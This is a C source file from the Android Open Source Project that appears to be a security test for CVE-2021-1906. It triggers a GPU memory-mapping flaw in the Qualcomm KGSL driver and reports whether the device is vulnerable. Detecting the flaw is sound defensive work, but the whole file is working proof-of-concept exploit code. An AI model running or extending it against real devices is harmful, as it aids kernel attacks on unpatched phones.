/**
 * Copyright (C) 2021 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

/*
 * CVE-2021-1906
 */

#include <fcntl.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>

#include "../includes/common.h"
#include "msm_kgsl.h"

static void *code_page_cpu_addr = MAP_FAILED;
static unsigned long code_page_gpu_addr = 0;

#define int64 int64_t
#define EXPLOIT_VULN_ADDR 0xdff00000

unsigned int ctx_id = 0;

int gpu_mem_alloc_id(int fd, int size, int flags,
                     struct kgsl_gpumem_alloc_id *alloc) {
  int ret = -1;
  alloc->flags = flags;
  alloc->size = size;

  ret = ioctl(fd, IOCTL_KGSL_GPUMEM_ALLOC_ID, alloc);
  return ret;
}

int gpu_sharedmem_free(int fd, unsigned long gpu_addr) {
  struct kgsl_sharedmem_free addr;
  int ret = -1;
  addr.gpuaddr = gpu_addr;
  ret = ioctl(fd, IOCTL_KGSL_SHAREDMEM_FREE, &addr);
  return ret;
}

unsigned long gpu_mem_alloc(int fd, int size, unsigned int flags) {
  struct kgsl_gpumem_alloc alloc = {0};
  alloc.size = size;
  alloc.flags = flags;

  if (ioctl(fd, IOCTL_KGSL_GPUMEM_ALLOC, &alloc) < 0) {
    return -1;
  }
  return alloc.gpuaddr;
}

int gpu_mem_get_info_from_id(int fd, int id,
                             struct kgsl_gpumem_get_info *info) {
  int ret = -1;
  info->id = id;
  info->gpuaddr = 0;
  ret = ioctl(fd, IOCTL_KGSL_GPUMEM_GET_INFO, info);
  return ret;
}

int kgsl_init() {
  int kgsl = open("/dev/kgsl-3d0", O_RDWR | O_LARGEFILE);
  if (kgsl < 0) {
    return -1;
  }

  struct kgsl_drawctxt_create ctxc;
  ctxc.flags = 0x1010D2;
  ctxc.drawctxt_id = 0;
  if (ioctl(kgsl, IOCTL_KGSL_DRAWCTXT_CREATE, &ctxc) < 0) {
    return -1;
  }
  ctx_id = ctxc.drawctxt_id;
  return kgsl;
}

int gpu_map_user_mem(int fd, uintptr_t addr, size_t size, size_t offset,
                     unsigned int flags, unsigned long *gpu_addr) {
  struct kgsl_map_user_mem user_mem = {0};
  int result = 0;

  user_mem.fd = -1;
  user_mem.gpuaddr = 0;
  user_mem.len = size;
  user_mem.offset = offset;
  user_mem.hostptr = addr;
  user_mem.flags = flags;
  user_mem.memtype = KGSL_USER_MEM_TYPE_ADDR;

  result = ioctl(fd, IOCTL_KGSL_MAP_USER_MEM, &user_mem);
  if (gpu_addr) {
    *gpu_addr = user_mem.gpuaddr;
  }
  return result;
}

int create_code_page(int fd, int size, void **cpu_addr,
                     unsigned long *gpu_addr) {
  struct kgsl_gpumem_alloc_id alloc = {0};
  struct kgsl_gpumem_get_info info = {0};
  void *cpu_mapping = MAP_FAILED;

  if (gpu_mem_alloc_id(fd, size,
                       KGSL_MEMFLAGS_USE_CPU_MAP | KGSL_MEMFLAGS_GPUREADONLY |
                           KGSL_MEMTYPE_COMMAND,
                       &alloc) < 0) {
    return -1;
  }

  cpu_mapping =
      mmap(NULL, size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, alloc.id << 12);
  if (cpu_mapping == MAP_FAILED) {
    return -1;
  }

  if (gpu_mem_get_info_from_id(fd, alloc.id, &info) < 0) {
    return -1;
  }

  *cpu_addr = cpu_mapping;
  *gpu_addr = info.gpuaddr;
  return 0;
}

void trigger(int fd, uintptr_t start, uintptr_t end) {
  const size_t page_size = getpagesize();
  void *hostptr = mmap((void *)start, 2 * page_size, PROT_READ | PROT_WRITE,
                       MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0);
  mprotect((void *)((uintptr_t)hostptr + page_size), page_size, PROT_NONE);

  gpu_map_user_mem(fd, (uintptr_t)hostptr, end - start, 0,
                   KGSL_MEMFLAGS_USE_CPU_MAP, NULL);
  munmap(hostptr, 2 * page_size);
}

int main(void) {
  const size_t page_size = getpagesize();
  int kgsl_fd = kgsl_init();
  unsigned long gpu_addr = 0;
  unsigned long next_gpu_addr = 0;

  FAIL_CHECK(!(kgsl_fd < 0));

  if (create_code_page(kgsl_fd, 4 * page_size, &code_page_cpu_addr,
                       &code_page_gpu_addr) < 0) {
    close(kgsl_fd);
    return EXIT_FAILURE;
  }

  next_gpu_addr = gpu_mem_alloc(kgsl_fd, page_size, 0);
  gpu_sharedmem_free(kgsl_fd, next_gpu_addr);
  trigger(kgsl_fd, next_gpu_addr, EXPLOIT_VULN_ADDR);
  gpu_addr = gpu_mem_alloc(kgsl_fd, 0x600000, 0);

  close(kgsl_fd);
  return (gpu_addr == EXPLOIT_VULN_ADDR) ? EXIT_VULNERABLE : EXIT_SUCCESS;
}